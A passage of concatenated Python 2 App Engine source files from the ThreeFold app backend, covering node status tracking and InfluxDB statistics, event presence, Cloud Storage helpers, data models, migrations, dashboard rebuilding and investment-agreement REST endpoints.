raise BusinessException('Cannot check status of node order without odoo_sale_order_id')
odoo_nodes = get_nodes_from_odoo(order.odoo_sale_order_id)
odoo_node_keys = [Node.create_key(n['id']) for n in odoo_nodes]
if not odoo_nodes:
raise BusinessException('Could not find nodes for sale order %s on odoo' % order_id)
statuses = {n.id: n.status for n in ndb.get_multi(odoo_node_keys) if n}
username = order.username
user_nodes = {node.id: node for node in Node.list_by_user(username)}
to_add = []
logging.debug('odoo_nodes: %s\n statuses: %s\n', odoo_nodes, statuses)
for node in odoo_nodes:
if node['id'] not in user_nodes:
to_add.append(node)
if to_add:
logging.info('Setting username %s on nodes %s', username, to_add)
deferred.defer(assign_nodes_to_user, username, to_add)
if all([status == NodeStatus.RUNNING for status in statuses.itervalues()]):
profile = TffProfile.create_key(username).get() # type: TffProfile
_set_node_status_arrived(order_key, odoo_nodes, profile.app_user)
else:
logging.info('Nodes %s from order %s are not all online yet', odoo_nodes, order_id)
@ndb.transactional()
def _set_node_status_arrived(order_key, nodes, app_user):
order = order_key.get() # type: NodeOrder
logging.info('Marking nodes %s from node order %s as arrived', nodes, order_key)
human_user, app_id = get_app_user_tuple(app_user)
order.populate(arrival_time=now(),
status=NodeOrderStatus.ARRIVED)
order.put()
deferred.defer(update_hoster_progress, human_user.email(), app_id, HosterSteps.NODE_POWERED,
_transactional=True)
@ndb.transactional(xg=True)
@returns([Node])
@arguments(iyo_username=unicode, nodes=[dict])
def assign_nodes_to_user(iyo_username, nodes):
existing_nodes = {node.id: node for node in ndb.get_multi([Node.create_key(node['id']) for node in nodes]) if node}
to_put = []
for new_node in nodes:
node = existing_nodes.get(new_node['id'])
if node:
node.username = iyo_username
node.serial_number = new_node['serial_number']
to_put.append(node)
else:
to_put.append(Node(key=Node.create_key(new_node['id']),
serial_number=new_node['serial_number'],
username=iyo_username))
ndb.put_multi(to_put)
deferred.defer(_put_node_status_user_data, TffProfile.create_key(iyo_username), _countdown=5)
return to_put
def get_nodes_for_user(username):
# type: (unicode) -> list[dict]
nodes = []
for order in NodeOrder.list_by_user(username):
if order.status in (NodeOrderStatus.SENT, NodeOrderStatus.ARRIVED):
nodes.extend(get_nodes_from_odoo(order.odoo_sale_order_id))
return nodes
def check_offline_nodes():
date = datetime.now() - relativedelta(minutes=20)
run_job(_get_offline_nodes, [date], _handle_offline_nodes, [date], mode=MODE_BATCH, batch_size=25,
qry_transactional=False)
def _get_offline_nodes(date):
return Node.list_running_by_last_update(date)
@ndb.transactional(xg=True)
def _handle_offline_nodes(node_keys, date):
# type: (list[ndb.Key], datetime) -> None
# No more than 25 node_keys should be supplied to this function (max nr of entity groups in a single transaction)
nodes = ndb.get_multi(node_keys) # type: list[Node]
to_notify = [] # type: list[dict]
msg = """The following nodes are no longer online:
```
Id | Serial number | Last request | Username
------------ | ------------- | ------------------- | --------------------"""
for node in nodes:
msg += '\n%s | %s | %s | %s' % (
node.id, node.serial_number, node.last_update.strftime('%d-%m-%Y %H:%M:%S'), node.username or '')
node.status = NodeStatus.HALTED
node.status_date = date
if node.username:
to_notify.append({'u': node.username,
'sn': node.serial_number,
'date': date,
'status': NodeStatus.HALTED})
ndb.put_multi(nodes)
telegram.send_message('%s\n```' % msg)
if to_notify:
deferred.defer(after_check_node_status, to_notify, _transactional=True, _countdown=5)
def save_node_statuses():
points = []
date = datetime.now()
# Round to 5 minutes to always have consistent results
date = date - relativedelta(minutes=date.minute % 5, seconds=date.second, microseconds=date.microsecond)
timestamp = date.isoformat() + 'Z'
for node in Node.query(projection=[Node.status]):
points.append({
'measurement': 'node-info',
'tags': {
'node_id': node.id,
'status': node.status,
},
'time': timestamp,
'fields': {
'id': node.id
}
})
try_or_defer(_save_node_statuses, points)
def _save_node_statuses(points):
client = get_influx_client()
if client:
client.write_points(points, time_precision='m')
def after_check_node_status(to_notify):
# type: (list[dict]) -> None
for obj in to_notify:
logging.info('Sending node status update message to %s. Status: %s', obj['u'], obj['status'])
deferred.defer(_send_node_status_update_message, obj['u'], obj['status'], obj['date'], obj['sn'])
deferred.defer(_put_node_status_user_data, TffProfile.create_key(obj['u']))
def _put_node_status_user_data(tff_profile_key):
tff_profile = tff_profile_key.get()
user, app_id = get_app_user_tuple(tff_profile.app_user)
data = {'nodes': [n.to_dict() for n in Node.list_by_user(tff_profile.username)]}
put_user_data(get_grid_api_key(), user.email(), app_id, data, retry=False)
def _send_node_status_update_message(username, to_status, date, serial_number):
profile = get_tff_profile(username)
app_user = profile.app_user
date_str = date.strftime('%Y-%m-%d %H:%M:%S')
if to_status == NodeStatus.HALTED:
subject = u'Connection to your node(%s) has been lost since %s UTC' % (serial_number, date_str)
msg = u"""Dear ThreeFold Member,
Connection to your node(%s) has been lost since %s UTC. Please kindly check the network connection of your node.
If this is ok, please switch off the node by pushing long on the power button till blue led is off and then switch it on again.
If after 30 minutes still no “online” message is received in the ThreeFold app, please inform us.
""" % (serial_number, date_str)
elif to_status == NodeStatus.RUNNING:
subject = u'Connection to your node(%s) has been resumed since %s UTC' % (serial_number, date_str)
msg = u'Dear ThreeFold Member,\n\n' \
u'Congratulations!' \
u' Your node(%s) is now successfully connected to our system, and has been resumed since %s UTC.\n' \
% (serial_number, date_str)
else:
logging.debug(
"_send_node_status_update_message not sending message for status '%s' => '%s'", to_status)
return
send_message_and_email(app_user, msg, subject, get_grid_api_key())
def _get_limited_profile(profile):
if not profile:
return None
assert isinstance(profile, TffProfile)
return {
'username': profile.username,
'name': profile.info.name,
'email': profile.info.email,
}
def list_nodes(sort_by=None, ascending=False):
# type: (unicode, bool) -> list[dict]
if sort_by:
qry = Node.list_by_property(sort_by, ascending)
else:
qry = Node.query()
nodes = qry.fetch() # type: list[Node]
profiles = {profile.username: profile for profile in
ndb.get_multi([TffProfile.create_key(node.username) for node in nodes if node.username])}
include_node = ['status', 'serial_number', 'chain_status']
results = [{'profile': _get_limited_profile(profiles.get(node.username)),
'node': node.to_dict(include=include_node)} for node in nodes]
return results
def create_node(data):
# type: (CreateNodeTO) -> Node
_validate_node_id(data.id)
node_key = Node.create_key(data.id)
if node_key.get():
raise HttpBadRequestException('node_already_exists', {'id': data.id})
serial_number = get_serial_number_by_node_id(data.id)
if not serial_number:
raise HttpBadRequestException('serial_number_not_found', {'id': data.id})
node = Node(key=node_key,
username=data.username,
serial_number=serial_number)
node.put()
return node
@ndb.transactional()
def _set_serial_number_on_node(node_id):
node = Node.create_key(node_id).get()
node.serial_number = get_serial_number_by_node_id(node_id)
if node.serial_number:
node.put()
return node
def get_node(node_id):
# type: (unicode) -> Node
node = Node.create_key(node_id).get()
if not node:
raise HttpNotFoundException('node_not_found', {'id': node_id})
return node
@ndb.transactional(xg=True)
def update_node(node_id, data):
# type: (unicode, UpdateNodePayloadTO) -> Node
node = get_node(node_id)
if data.username != node.username:
deferred.defer(_put_node_status_user_data, TffProfile.create_key(data.username), _countdown=2,
_transactional=True)
if node.username:
deferred.defer(_put_node_status_user_data, TffProfile.create_key(node.username), _countdown=2,
_transactional=True)
node.username = data.username
node.put()
return node
@ndb.transactional()
def delete_node(node_id):
# type: (unicode) -> None
node = get_node(node_id)
if node.username:
deferred.defer(_put_node_status_user_data, TffProfile.create_key(node.username), _transactional=True,
_countdown=5)
node.key.delete()
try_or_defer(delete_node_from_stats, node_id)
def delete_node_from_stats(node_id):
client = get_influx_client()
if client:
client.query('DELETE FROM "node-stats" WHERE ("id" = \'%(id)s\');'
'DELETE FROM "node-info" WHERE ("node_id" = \'%(id)s\')' % {'id': node_id})
def _validate_node_id(node_id):
if len(node_id) > 12 or len(node_id) < 10 or not NODE_ID_REGEX.match(node_id):
raise HttpBadRequestException('invalid_node_id')
def _save_node_stats(node_id, data, date):
# type: (unicode, UpdateNodeStatusTO, datetime) -> None
node_key = Node.create_key(node_id)
node = node_key.get()
is_new = node is None
if is_new:
node = Node(key=node_key,
status_date=date)
deferred.defer(_set_serial_number_on_node, node_id, _countdown=5)
chain_status = data.chain_status
if chain_status and chain_status is not MISSING:
if not node.chain_status:
node.chain_status = NodeChainStatus()
bal = chain_status.get('confirmed_balance')
if bal and bal < 1000:
bal = bal * COIN_TO_HASTINGS
peers = chain_status.get('connected_peers')
peers_count = len(peers) if type(peers) is list else peers
props = {
'wallet_status': chain_status.get('wallet_status'),
'block_height': chain_status.get('block_height'),
'active_blockstakes': chain_status.get('active_blockstakes'),
'network': chain_status.get('network'),
'confirmed_balance': long(bal) if bal is not None else bal,
'connected_peers': peers_count,
'address': chain_status.get('address')
}
node.chain_status.populate(**props)
status_changed = node.status != NodeStatus.RUNNING
if data.info and data.info is not MISSING:
node.info = data.info
node.populate(last_update=date,
status=NodeStatus.RUNNING)
node.put()
if status_changed:
if node.username:
# Countdown is needed because we query on all nodes, and datastore needs some time to become consistent
deferred.defer(_put_node_status_user_data, TffProfile.create_key(node.username), _countdown=2)
try_or_defer(_send_node_status_update_message, node.username, NodeStatus.RUNNING, date, node.serial_number)
if is_new:
msg = 'New node %s is now online'
else:
msg = 'Node %s is back online'
try_or_defer(telegram.send_message, msg % node.id)
def save_node_stats(node_id, data, date):
# type: (unicode, UpdateNodeStatusTO, datetime) -> None
_validate_node_id(node_id)
_save_node_stats(node_id, data, date)
# if data.stats and data.stats is not MISSING:
# try_or_defer(_save_node_stats_to_influx, node_id, data.stats)
def _save_node_stats_to_influx(node_id, stats):
# type: (unicode, dict) -> None
points = []
for stat_key, values in stats.iteritems():
stat_key_split = stat_key.split('/')
if stat_key_split[0] in SKIPPED_STATS_KEYS:
continue
tags = {
'id': node_id,
'type': stat_key_split[0],
}
if len(stat_key_split) == 2:
tags['subtype'] = stat_key_split[1]
for values_on_time in values:
points.append({
'measurement': 'node-stats',
'tags': tags,
'time': datetime.utcfromtimestamp(values_on_time['start']).isoformat() + 'Z',
'fields': {
'max': float(values_on_time['max']),
'avg': float(values_on_time['avg'])
}
})
logging.info('Writing %s datapoints to influxdb for node %s', len(points), node_id)
client = get_influx_client()
if client and points:
client.write_points(points)
def get_influx_client():
config = get_config(NAMESPACE).influxdb # type: InfluxDBConfig
if config is MISSING or (DEBUG and 'localhost' not in config.host):
return None
return influxdb.InfluxDBClient(config.host, config.port, config.username, config.password, config.database,
config.ssl, config.ssl)
def get_nodes_stats_from_influx(nodes):
# type: (list[Node]) -> list[dict]
client = get_influx_client()
if not client:
return []
stats_per_node = {node.id: dict(stats=[], **node.to_dict()) for node in nodes}
stat_types = (
'machine.CPU.percent', 'machine.memory.ram.available', 'network.throughput.incoming',
'network.throughput.outgoing')
queries = []
hours_ago = 6
statements = [] # type: list[tuple]
for node in nodes:
for stat_type in stat_types:
qry = """SELECT mean("avg") FROM "node-stats" WHERE ("type" = '%(type)s' AND "id" = '%(node_id)s') AND time >= now() - %(hours)dh GROUP BY time(15m)""" % {
'type': stat_type, 'node_id': node.id, 'hours': hours_ago}
statements.append((node, stat_type))
queries.append(qry)
query_str = ';'.join(queries)
logging.debug(query_str)
result_sets = client.query(query_str)
for statement_id, (node, stat_type) in enumerate(statements):
for result_set in result_sets:
if result_set.raw['statement_id'] == statement_id:
stats_per_node[node.id]['stats'].append({
'type': stat_type,
'data': result_set.raw.get('series', [])
})
return stats_per_node.values()
|
threefoldfoundation/app_backend | plugins/tff_backend/api/rogerthat/agenda.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from collections import defaultdict
from mcfw.rpc import returns, arguments, parse_complex_value
from plugins.rogerthat_api.to import UserDetailsTO
from plugins.tff_backend.bizz.iyo.utils import get_username
from plugins.tff_backend.models.agenda import EventParticipant
from plugins.tff_backend.to.agenda import EventPresenceTO, BasePresenceTO
@returns(EventPresenceTO)
@arguments(params=dict, user_detail=UserDetailsTO)
def get_presence(params, user_detail):
username = get_username(user_detail)
status = EventParticipant.STATUS_UNKNOWN
wants_recording = False
counts = defaultdict(lambda: 0)
event_id = params['event_id']
for participant in EventParticipant.list_by_event(event_id):
if participant.username == username:
status = participant.status
wants_recording = participant.wants_recording
counts[participant.status] += 1
return EventPresenceTO(event_id=event_id,
status=status,
wants_recording=wants_recording,
username=username,
present_count=counts[EventParticipant.STATUS_PRESENT],
absent_count=counts[EventParticipant.STATUS_ABSENT])
@returns(dict)
@arguments(params=dict, user_detail=UserDetailsTO)
def update_presence(params, user_detail):
presence = parse_complex_value(BasePresenceTO, params, False)
iyo_username = get_username(user_detail)
participant = EventParticipant.get_or_create_participant(presence.event_id, iyo_username)
participant.status = presence.status
participant.wants_recording = presence.wants_recording
participant.put()
return participant.to_dict()
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/gcs.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import hashlib
import hmac
from google.appengine.api.app_identity import app_identity
import cloudstorage
from cloudstorage.common import local_api_url
from framework.plugin_loader import get_config
from mcfw.consts import DEBUG
from plugins.tff_backend.plugin_consts import NAMESPACE
_default_bucket = None
def _get_default_bucket():
global _default_bucket
if _default_bucket:
return _default_bucket
_default_bucket = app_identity.get_default_gcs_bucket_name()
return _default_bucket
def upload_to_gcs(filename, file_data, content_type, bucket=None):
if isinstance(filename, unicode):
filename = filename.encode('utf-8')
if not bucket:
bucket = _get_default_bucket()
file_path = '/%s/%s' % (bucket, filename)
with cloudstorage.open(file_path, 'w', content_type=content_type) as f:
f.write(file_data)
return get_serving_url(filename, bucket)
def get_serving_url(filename, bucket=None):
# type: (unicode) -> unicode
if not bucket:
bucket = _get_default_bucket()
if DEBUG:
return '%s/%s/%s' % (local_api_url(), bucket, filename)
return 'https://storage.googleapis.com/%s/%s' % (bucket, filename)
def encrypt_filename(filename):
encryption_key = get_config(NAMESPACE).cloudstorage_encryption_key
return hmac.new(encryption_key.encode(), unicode(filename), hashlib.sha1).hexdigest()
|
threefoldfoundation/app_backend | plugins/tff_backend/to/user.py | # -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from framework.to import TO
from mcfw.properties import unicode_property, typed_property, long_property
class SetKYCPayloadTO(TO):
status = long_property('status')
comment = unicode_property('comment')
data = typed_property('data', dict)
class TffProfileTO(TO):
username = unicode_property('username')
app_user = unicode_property('app_user')
referrer_user = unicode_property('referrer_user')
referrer_username = unicode_property('referrer_username')
nodes = typed_property('nodes', dict, True)
referral_code = unicode_property('referral_code')
kyc = typed_property('kyc', dict)
info = typed_property('info', dict)
class SignedDocumentTO(TO):
description = unicode_property('description')
name = unicode_property('name')
link = unicode_property('link')
signature = unicode_property('signature')
|
threefoldfoundation/app_backend | plugins/tff_backend/models/document.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from google.appengine.ext import ndb
from enum import Enum
from framework.models.common import NdbModel
from plugins.tff_backend.bizz.gcs import get_serving_url, encrypt_filename
from plugins.tff_backend.plugin_consts import NAMESPACE
class DocumentType(Enum):
TOKEN_VALUE_ADDENDUM = 'token-value-addendum'
class DocumentStatus(Enum):
CREATED = 'created'
SIGNED = 'signed'
class Document(NdbModel):
NAMESPACE = NAMESPACE
username = ndb.StringProperty()
iyo_see_id = ndb.StringProperty()
type = ndb.StringProperty(choices=map(lambda x: x.value, DocumentType))
status = ndb.StringProperty(choices=map(lambda x: x.value, DocumentStatus), default=DocumentStatus.CREATED.value)
creation_timestamp = ndb.DateTimeProperty(auto_now_add=True)
signature = ndb.StringProperty(indexed=False)
@property
def id(self):
return self.key.id()
@property
def filename(self):
return self.create_filename(self.type, self.id)
@property
def url(self):
return get_serving_url(self.filename)
@classmethod
def create_key(cls, document_id):
return ndb.Key(cls, document_id, namespace=NAMESPACE)
@classmethod
def create_filename(cls, document_type, document_id):
return u'%s/%s.pdf' % (document_type, encrypt_filename(document_id))
@classmethod
def list_by_username(cls, username):
return cls.query().filter(cls.username == username)
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_009_change_token_value.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from mcfw.consts import DEBUG
from plugins.rogerthat_api.api import system
from plugins.tff_backend.bizz import get_tf_token_api_key
from plugins.tff_backend.bizz.global_stats import _get_currency_conversions
from plugins.tff_backend.models.global_stats import GlobalStats
from plugins.tff_backend.plugin_consts import BUY_TOKENS_TAG, BUY_TOKENS_FLOW_V5
def migrate():
for stats_model in GlobalStats.query(): # type: GlobalStats
new_value = stats_model.value / 100
currencies = _get_currency_conversions(stats_model.currencies, new_value)
stats_model.populate(currencies=currencies, value=new_value)
stats_model.put()
coords = [2, 1, 0]
icon_name = 'fa-suitcase'
label = 'Purchase iTokens'
flow = BUY_TOKENS_FLOW_V5
api_key = get_tf_token_api_key()
roles = system.list_roles(api_key)
menu_item_roles = []
for role in roles:
if role.name in ('invited', 'members'):
menu_item_roles.append(role.id)
system.put_menu_item(api_key, icon_name, BUY_TOKENS_TAG, coords, None, label, static_flow=flow,
roles=[] if DEBUG else menu_item_roles, fall_through=True)
system.publish_changes(api_key)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/installations.py | # -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
from datetime import datetime
from framework.plugin_loader import get_config
from plugins.rogerthat_api.api import app
from plugins.rogerthat_api.to.installation import InstallationTO, InstallationLogTO
from plugins.tff_backend.bizz import get_tf_token_api_key
from plugins.tff_backend.plugin_consts import NAMESPACE
from plugins.tff_backend.to.dashboard import TickerEntryTO, TickerEntryType
def list_installations(**kwargs):
return app.list_installations(get_tf_token_api_key(), app_id=get_config(NAMESPACE).rogerthat.app_id, **kwargs)
def get_installation(installation_id, **kwargs):
return app.get_installation(get_tf_token_api_key(), installation_id, **kwargs)
def list_installation_logs(**kwargs):
return app.list_installation_logs(get_tf_token_api_key(), **kwargs)
def get_ticker_entry_for_installation(installation, new_logs):
# type: (InstallationTO, list[InstallationLogTO]) -> TickerEntryTO
timestamp = new_logs[0].timestamp if new_logs else installation.timestamp
return TickerEntryTO(
id='installation-%s' % installation.id,
date=datetime.utcfromtimestamp(timestamp).isoformat().decode('utf-8') + u'Z',
data={
'id': installation.id,
'status': installation.status,
'platform': installation.platform,
},
type=TickerEntryType.INSTALLATION.value)
|
threefoldfoundation/app_backend | plugins/tff_backend/bizz/dashboard.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2018 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.4@@
import time
from collections import defaultdict
from datetime import datetime
from dateutil.relativedelta import relativedelta
from mcfw.rpc import arguments, returns
from plugins.rogerthat_api.to.installation import InstallationLogTO, InstallationTO
from plugins.tff_backend.bizz.flow_statistics import get_flow_run_ticker_entry
from plugins.tff_backend.bizz.installations import list_installations, get_ticker_entry_for_installation
from plugins.tff_backend.firebase import put_firebase_data, remove_firebase_data
from plugins.tff_backend.models.statistics import FlowRun
from plugins.tff_backend.to.dashboard import TickerEntryTO
@returns([TickerEntryTO])
def rebuild_flow_stats(start_date):
# type: (datetime) -> list[TickerEntryTO]
stats_per_flow_name = defaultdict(dict)
ticker_entries = []
for flow_run in FlowRun.list_by_start_date(start_date): # type: FlowRun
stats_per_flow_name[flow_run.flow_name][flow_run.id] = flow_run.status
ticker_entries.append(get_flow_run_ticker_entry(flow_run))
put_firebase_data('/dashboard/flows.json', stats_per_flow_name)
return ticker_entries
def rebuild_installation_stats(date):
cursor = None
max_timestamp = time.mktime(date.timetuple())
has_more = True
# keys = possible values of InstallationTO.status
firebase_data = {
'started': {},
'in_progress': {},
'finished': {}
}
ticker_entries = []
while has_more:
installation_list = list_installations(page_size=1000, cursor=cursor)
cursor = installation_list.cursor
if not installation_list.more:
has_more = False
for installation in installation_list.results:
if installation.timestamp <= max_timestamp:
has_more = False
else:
firebase_data[installation.id] = installation.status
# timestamp might not be the most accurate but good enough
ticker_entries.append(get_ticker_entry_for_installation(installation, []))
put_firebase_data('/dashboard/installations.json', firebase_data)
return ticker_entries
@arguments(installation=InstallationTO, logs=[InstallationLogTO])
def update_firebase_installation(installation, logs):
# type: (InstallationTO, list[InstallationLogTO]) -> None
ticker_entry = get_ticker_entry_for_installation(installation, logs)
put_firebase_data('/dashboard/installations.json', {installation.id: installation.status})
put_firebase_data('/dashboard/ticker/%s.json' % ticker_entry.id, ticker_entry.to_dict())
def rebuild_firebase_data():
# Removes all /dashboard data from firebase and rebuilds it
# Ensure only the stats for last 7 days are kept
ticker_entries = []
remove_firebase_data('dashboard.json')
date = datetime.now() - relativedelta(days=7)
ticker_entries.extend(rebuild_installation_stats(date))
ticker_entries.extend(rebuild_flow_stats(date))
put_firebase_data('/dashboard/ticker.json', {entry.id: entry.to_dict() for entry in ticker_entries})
|
threefoldfoundation/app_backend | plugins/tff_backend/plugin_consts.py | <reponame>threefoldfoundation/app_backend<gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
NAMESPACE = u'tff_backend'
KEY_ALGORITHM = u'ed25519'
KEY_NAME = u'threefold'
SUPPORTED_CRYPTO_CURRENCIES = {'BTC'}
CRYPTO_CURRENCY_NAMES = {
'BTC': 'Bitcoin'
}
BUY_TOKENS_FLOW_V3 = u'buy_tokens_ITO_v3'
BUY_TOKENS_FLOW_V3_PAUSED = u'buy_tokens_ITO_v3_paused'
BUY_TOKENS_FLOW_V3_KYC_MENTION = u'buy_tokens_ITO_v3_KYCmention'
BUY_TOKENS_FLOW_V4 = u'buy_tokens_ITO_v4'
BUY_TOKENS_FLOW_V5 = u'buy_tokens_ITO_v5'
KYC_FLOW_PART_1 = u'kyc_part_1'
KYC_FLOW_PART_1_TAG = u'kyc_part_1'
KYC_FLOW_PART_2_TAG = u'kyc_part_2'
BUY_TOKENS_TAG = u'invest_itft'
INVEST_FLOW_TAG = 'invest_complete'
FLOW_ERROR_MESSAGE = 'error_message'
FLOW_HOSTER_SIGNATURE_RECEIVED = 'hoster_signature_received'
FLOW_CONFIRM_INVESTMENT = 'confirm_investment'
FLOW_SIGN_INVESTMENT = 'sign_investment'
FLOW_INVESTMENT_CONFIRMED = 'investment_confirmed'
FLOW_SIGN_HOSTING_AGREEMENT = 'sign_hosting_agreement'
FLOW_HOSTER_REMINDER = 'hoster_reminder'
FLOW_UTILITY_BILL_RECEIVED = 'utility_bill_received'
FLOW_SIGN_TOKEN_VALUE_ADDENDUM = 'sign_token_value_addendum'
FF_ENDED_TIMESTAMP = 1517785200 # friends and family sale
SCHEDULED_QUEUE = 'scheduled-queue'
INTERCOM_QUEUE = 'intercom'
|
threefoldfoundation/app_backend | plugins/tff_backend/api/investor.py | <gh_stars>0
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
from google.appengine.api.search import MAXIMUM_DOCUMENTS_RETURNED_PER_SEARCH
from framework.bizz.authentication import get_current_session
from mcfw.restapi import rest
from mcfw.rpc import returns, arguments
from plugins.tff_backend.bizz.audit.audit import audit
from plugins.tff_backend.bizz.audit.mapping import AuditLogType
from plugins.tff_backend.bizz.authentication import Scopes
from plugins.tff_backend.bizz.investor import put_investment_agreement, create_investment_agreement
from plugins.tff_backend.bizz.iyo.utils import get_app_user_from_iyo_username
from plugins.tff_backend.dal.investment_agreements import search_investment_agreements, get_investment_agreement, \
list_investment_agreements_by_user
from plugins.tff_backend.to.investor import InvestmentAgreementListTO, InvestmentAgreementTO, \
CreateInvestmentAgreementTO, InvestmentAgreementDetailTO
from plugins.tff_backend.utils.search import sanitise_search_query
@rest('/investment-agreements', 'get', Scopes.BACKEND_ADMIN, silent_result=True)
@returns(InvestmentAgreementListTO)
@arguments(page_size=(int, long), cursor=unicode, query=unicode, status=(int, long), username=unicode)
def api_get_investment_agreements(page_size=20, cursor=None, query=None, status=None, username=None):
page_size = min(page_size, MAXIMUM_DOCUMENTS_RETURNED_PER_SEARCH)
filters = {'status': status, 'username': username}
if username and not status and not query:
results = [InvestmentAgreementTO.from_model(model) for model in list_investment_agreements_by_user(username)]
return InvestmentAgreementListTO(cursor=None, more=False, results=results)
return InvestmentAgreementListTO.from_search(
*search_investment_agreements(sanitise_search_query(query, filters), page_size, cursor))
@rest('/investment-agreements', 'post', Scopes.BACKEND_ADMIN, silent=True)
@returns(InvestmentAgreementDetailTO)
@arguments(data=CreateInvestmentAgreementTO)
def api_create_investment_agreement(data):
return InvestmentAgreementDetailTO.from_dict(create_investment_agreement(data).to_dict(['username']))
@rest('/investment-agreements/<agreement_id:[^/]+>', 'get', Scopes.BACKEND_ADMIN)
@returns(InvestmentAgreementDetailTO)
@arguments(agreement_id=(int, long))
def api_get_investment_agreement(agreement_id):
return InvestmentAgreementDetailTO.from_dict(get_investment_agreement(agreement_id).to_dict(['username']))
@audit(AuditLogType.UPDATE_INVESTMENT_AGREEMENT, 'agreement_id')
@rest('/investment-agreements/<agreement_id:[^/]+>', 'put', Scopes.BACKEND_ADMIN)
@returns(InvestmentAgreementDetailTO)
@arguments(agreement_id=(int, long), data=InvestmentAgreementTO)
def api_put_investment_agreement(agreement_id, data):
app_user = get_app_user_from_iyo_username(get_current_session().user_id)
agreement = put_investment_agreement(agreement_id, data, app_user)
return InvestmentAgreementDetailTO.from_dict(agreement.to_dict(['username']))
|
threefoldfoundation/app_backend | plugins/tff_backend/migrations/_002_intercom_tags.py | <reponame>threefoldfoundation/app_backend
# -*- coding: utf-8 -*-
# Copyright 2017 GIG Technology NV
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# @@license_version:1.3@@
import logging
from collections import defaultdict
from google.appengine.ext import ndb
from google.appengine.ext.deferred import deferred
from framework.bizz.job import run_job, MODE_BATCH
from plugins.tff_backend.bizz.nodes.hoster import get_intercom_tags_for_node_order
from plugins.tff_backend.bizz.intercom_helpers import tag_intercom_users
from plugins.tff_backend.bizz.investor import get_intercom_tags_for_investment
